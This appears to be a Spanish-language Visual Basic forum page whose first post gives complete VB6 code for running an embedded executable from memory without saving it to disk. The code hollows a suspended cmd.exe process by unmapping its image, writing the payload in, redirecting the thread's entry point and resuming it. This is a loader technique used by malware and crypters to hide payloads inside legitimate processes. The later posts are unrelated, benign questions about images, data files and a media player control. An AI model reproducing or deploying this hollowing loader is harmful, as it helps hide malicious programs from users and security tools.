Visual Basic Foro

Hola a todos!
Tal vez el título no sea del todo claro, pero tengo este código (Encontrado en un foro). Este ejecuta la aplicación desde un recurso, pero al probarlo, no funciona, mejor dicho no muestra rastro de ejecución a simple vista. (Mi espacio de trabajo es Windows 7)
¿Alguien me podría decir por qué? Y en todo caso, ver cual es la solución. Lo que intento hacer es ejecutar un recurso ejecutable sin tener que guardarlo al disco.

Modulo
'
' Thread context stuff
'
Const SIZE_OF_80387_REGISTERS = 80

Type FLOATING_SAVE_AREA
  ControlWord As Long
  StatusWord As Long
  TagWord As Long
  ErrorOffset As Long
  ErrorSelector As Long
  DataOffset As Long
  DataSelector As Long
  RegisterArea(1 To SIZE_OF_80387_REGISTERS) As Byte
  Cr0NpxState As Long
End Type

Public Type CONTEXT86
  ContextFlags As Long
  'These are selected by CONTEXT_DEBUG_REGISTERS
  Dr0 As Long
  Dr1 As Long
  Dr2 As Long
  Dr3 As Long
  Dr6 As Long
  Dr7 As Long
  'These are selected by CONTEXT_FLOATING_POINT
  FloatSave As FLOATING_SAVE_AREA
  'These are selected by CONTEXT_SEGMENTS
  SegGs As Long
  SegFs As Long
  SegEs As Long
  SegDs As Long
  'These are selected by CONTEXT_INTEGER
  Edi As Long
  Esi As Long
  Ebx As Long
  Edx As Long
  Ecx As Long
  Eax As Long
  'These are selected by CONTEXT_CONTROL
  Ebp As Long
  Eip As Long
  SegCs As Long
  EFlags As Long
  Esp As Long
  SegSs As Long
End Type

Public Const CONTEXT_X86 = &H10000
Public Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1)          'SS:SP, CS:IP, FLAGS, BP
Public Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2)          'AX, BX, CX, DX, SI, DI
Public Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4)         'DS, ES, FS, GS
Public Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8)   '387 state
Public Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) 'DB 0-3,6,7
Public Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)

Public Declare Function GetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Public Declare Function SetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Public Declare Function SuspendThread Lib "kernel32" (ByVal hThread As Long) As Long
Public Declare Function ResumeThread Lib "kernel32" (ByVal hThread As Long) As Long

'
' Process creation and memory access stuff
'
Public Type PROCESS_INFORMATION
  hProcess As Long
  hThread As Long
  dwProcessId As Long
  dwThreadId As Long
End Type

Public Type STARTUPINFO
  cb As Long
  lpReserved As String
  lpDesktop As String
  lpTitle As String
  dwX As Long
  dwY As Long
  dwXSize As Long
  dwYSize As Long
  dwXCountChars As Long
  dwYCountChars As Long
  dwFillAttribute As Long
  dwFlags As Long
  wShowWindow As Integer
  cbReserved2 As Integer
  lpReserved2 As Long        'LPBYTE
  hStdInput As Long
  hStdOutput As Long
  hStdError As Long
End Type

Public Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Public Declare Function ZwUnmapViewOfSection Lib "ntdll.dll" (ByVal hProcess As Long, ByVal BaseAddress As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function VirtualProtectEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Const CREATE_SUSPENDED = &H4
Public Const MEM_COMMIT As Long = &H1000&
Public Const MEM_RESERVE As Long = &H2000&
Public Const PAGE_NOCACHE As Long = &H200
Public Const PAGE_EXECUTE_READWRITE As Long = &H40
Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
Public Const PAGE_EXECUTE_READ As Long = &H20
Public Const PAGE_EXECUTE As Long = &H10
Public Const PAGE_READONLY As Long = &H2
Public Const PAGE_WRITECOPY As Long = &H8
Public Const PAGE_NOACCESS As Long = &H1
Public Const PAGE_READWRITE As Long = &H4

'
' Main stuff for any API code
'
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)

Private Enum ImageSignatureTypes
  IMAGE_DOS_SIGNATURE = &H5A4D     ''\\ MZ
  IMAGE_OS2_SIGNATURE = &H454E     ''\\ NE
  IMAGE_OS2_SIGNATURE_LE = &H454C  ''\\ LE
  IMAGE_VXD_SIGNATURE = &H454C     ''\\ LE
  IMAGE_NT_SIGNATURE = &H4550      ''\\ PE00
End Enum

Private Type IMAGE_DOS_HEADER
  e_magic As Integer        ' Magic number
  e_cblp As Integer         ' Bytes on last page of file
  e_cp As Integer           ' Pages in file
  e_crlc As Integer         ' Relocations
  e_cparhdr As Integer      ' Size of header in paragraphs
  e_minalloc As Integer     ' Minimum extra paragraphs needed
  e_maxalloc As Integer     ' Maximum extra paragraphs needed
  e_ss As Integer           ' Initial (relative) SS value
  e_sp As Integer           ' Initial SP value
  e_csum As Integer         ' Checksum
  e_ip As Integer           ' Initial IP value
  e_cs As Integer           ' Initial (relative) CS value
  e_lfarlc As Integer       ' File address of relocation table
  e_ovno As Integer         ' Overlay number
  e_res(0 To 3) As Integer  ' Reserved words
  e_oemid As Integer        ' OEM identifier (for e_oeminfo)
  e_oeminfo As Integer      ' OEM information; e_oemid specific
  e_res2(0 To 9) As Integer ' Reserved words
  e_lfanew As Long          ' File address of new exe header
End Type

'
' MSDOS File header
'
Private Type IMAGE_FILE_HEADER
  Machine As Integer
  NumberOfSections As Integer
  TimeDateStamp As Long
  PointerToSymbolTable As Long
  NumberOfSymbols As Long
  SizeOfOptionalHeader As Integer
  characteristics As Integer
End Type

'
' Directory format.
'
Private Type IMAGE_DATA_DIRECTORY
  VirtualAddress As Long
  Size As Long
End Type

'
' Optional header format.
'
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16

Private Type IMAGE_OPTIONAL_HEADER
  ' Standard fields.
  Magic As Integer
  MajorLinkerVersion As Byte
  MinorLinkerVersion As Byte
  SizeOfCode As Long
  SizeOfInitializedData As Long
  SizeOfUnitializedData As Long
  AddressOfEntryPoint As Long
  BaseOfCode As Long
  BaseOfData As Long
  ' NT additional fields.
  ImageBase As Long
  SectionAlignment As Long
  FileAlignment As Long
  MajorOperatingSystemVersion As Integer
  MinorOperatingSystemVersion As Integer
  MajorImageVersion As Integer
  MinorImageVersion As Integer
  MajorSubsystemVersion As Integer
  MinorSubsystemVersion As Integer
  W32VersionValue As Long
  SizeOfImage As Long
  SizeOfHeaders As Long
  CheckSum As Long
  SubSystem As Integer
  DllCharacteristics As Integer
  SizeOfStackReserve As Long
  SizeOfStackCommit As Long
  SizeOfHeapReserve As Long
  SizeOfHeapCommit As Long
  LoaderFlags As Long
  NumberOfRvaAndSizes As Long
  DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
  Signature As Long
  FileHeader As IMAGE_FILE_HEADER
  OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

'
' Section header
'
Const IMAGE_SIZEOF_SHORT_NAME = 8

Private Type IMAGE_SECTION_HEADER
  SecName As String * IMAGE_SIZEOF_SHORT_NAME
  VirtualSize As Long
  VirtualAddress  As Long
  SizeOfRawData As Long
  PointerToRawData As Long
  PointerToRelocations As Long
  PointerToLinenumbers As Long
  NumberOfRelocations As Integer
  NumberOfLinenumbers As Integer
  characteristics  As Long
End Type

Const OFFSET_4 = 4294967296#
Public Function RunExeFromResourceInVirtualMemory(ByVal sCmdExe As String, abExeFile() As Byte) As Long
 Dim idh As IMAGE_DOS_HEADER
 Dim inh As IMAGE_NT_HEADERS
 Dim ish As IMAGE_SECTION_HEADER
 Dim pi As PROCESS_INFORMATION
 Dim si As STARTUPINFO
 Dim context As CONTEXT86
 Dim ImageBase As Long, ret As Long, i As Long
 Dim addr As Long, lOffset As Long
       
 CopyMemory idh, abExeFile(0), Len(idh)
   
 If idh.e_magic <> IMAGE_DOS_SIGNATURE Then
   MsgBox "MZ signature not found!", vbCritical, "File load error"
   Exit Function
 End If
   
 CopyMemory inh, abExeFile(idh.e_lfanew), Len(inh)
   
 If inh.Signature <> IMAGE_NT_SIGNATURE Then
   MsgBox "PE signature not found!", vbCritical, "File load error"
   Exit Function
 End If
   
 si.cb = Len(si)
   
 If CreateProcess(vbNullString, sCmdExe, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then
   MsgBox "Can not start process!", vbCritical
   Exit Function
 End If
   
 context.ContextFlags = CONTEXT86_INTEGER
   
 If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess
   
 ReadProcessMemory pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0
   
 If addr = 0 Then GoTo ClearProcess
   
 If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess
   
 ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
   
 If ImageBase = 0 Then GoTo ClearProcess

 WriteProcessMemory pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret
   
 lOffset = idh.e_lfanew + Len(inh)
   
 For i = 0 To inh.FileHeader.NumberOfSections - 1
   CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish)
   WriteProcessMemory pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret
   VirtualProtectEx pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr
 Next i
   
 WriteProcessMemory pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret
   
 context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
   
 SetThreadContext pi.hThread, context
 ResumeThread pi.hThread
   
 Exit Function
ClearProcess:
 CloseHandle pi.hThread
 CloseHandle pi.hProcess
End Function
Private Function Protect(ByVal characteristics As Long) As Long
 Dim mapping As Variant
 
 mapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
                 PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
                 PAGE_READWRITE, PAGE_EXECUTE_READWRITE)
   
 Protect = mapping(RShift(characteristics, 29))
End Function
Private Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
 RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
End Function
Private Function vbLongToULong(ByVal Value As Long) As Double
 If Value < 0 Then
   vbLongToULong = Value + OFFSET_4
 Else
   vbLongToULong = Value
 End If
End Function


Formulario - Botón (Agregar un recurso ejecutable)

Dim resBYTE() As Byte
resBYTE = LoadResData(101, "CUSTOM")
RunExeFromResourceInVirtualMemory "C:\WINDOWS\system32\cmd.exe", resBYTE


Hola a todos, hay alguna forma de unir 2 imagenes en una sola y guardarlo:

Lo que busco es,


Que la imagen (en este caso es Tow and a half men) que sera random, y la portada, se guarden en un solo archivo, y sin perder la transparencia

Image Control para la imagen de caratula - UcImageControl Cobein por la Caja

mmm yo lo abro desde el archivo sln

editado:

tampoco ahora que lo veo bien :s
pero abro el archivo
Form1.designer.vb y veo el codigo

Alguien a probado o tiene instalado visual basic 6.0 y Visual Studio 2010(por ejemplo) en el mismo sistema y les a causado conflictos o algo por el estilo?

Funciona a la Perfeccion! Gracias!
Cuando termine de hacer el Programa te lo mando!

Acabas de alegrarme el Dia, o bueno.. la madrugada.
Lo probare!
Una pregunta:
Cuando hace la carga del dato, demora dependiendo del tamaño del archivo?
Un Ejemplo:
Uno de los archivos (texto) tiene como dato: Nombre= Juan ,  Edad= 26
Y Otro Archivo de texto tiene como dato : Nombre= Mario, Edad= 27
y asi progresivamente (osea mas archivos de texto con diferentes variables...)

Como puedo hacer para cargar el texto, buscar el valor de nombre o edad, sin necesidad de extraerlo, o en todo caso hacer una funcion al estilo WritePrivateProfileString y GetPrivateProfileString

Estoy buscando un nuevo sistema de archivos para un programa que tengo por la red ]http://www.mediafire.com/download.php?n6dvwgvhwnvtbgb (no es SC)
Como notaras, uso la funcion de writeprivate para leer los datos, y a parte tengo que cargar la imagen (Pero esta suelta y es facil eliminarla), y estoy buscando ahora como juntar los 2 y hacer las mismas funciones, como buscar por Titulo, Genero etc

Gracias enserio! estaba frustrado.

Ya habia probado esas 2, y me trae algunas complicaciones, ya que uso mas procesos, asi que opte por un MCI y un picture adelante, ya que el mci no pasa por todo los controles! Gracias de todas maneras 

Tengo un problema con el control de Windows Media Player, cuando hay un archivo en reproduccion, este se enfoca sobre todos los controles,  lo que quiero es poner algo enfrente del control cuando este en reproduccion,  hay algun tipo de codigo o funcion para enfocar algo sobre el wmp?? Hago recordar que esto solo pasa cuando se esta reproduciendo.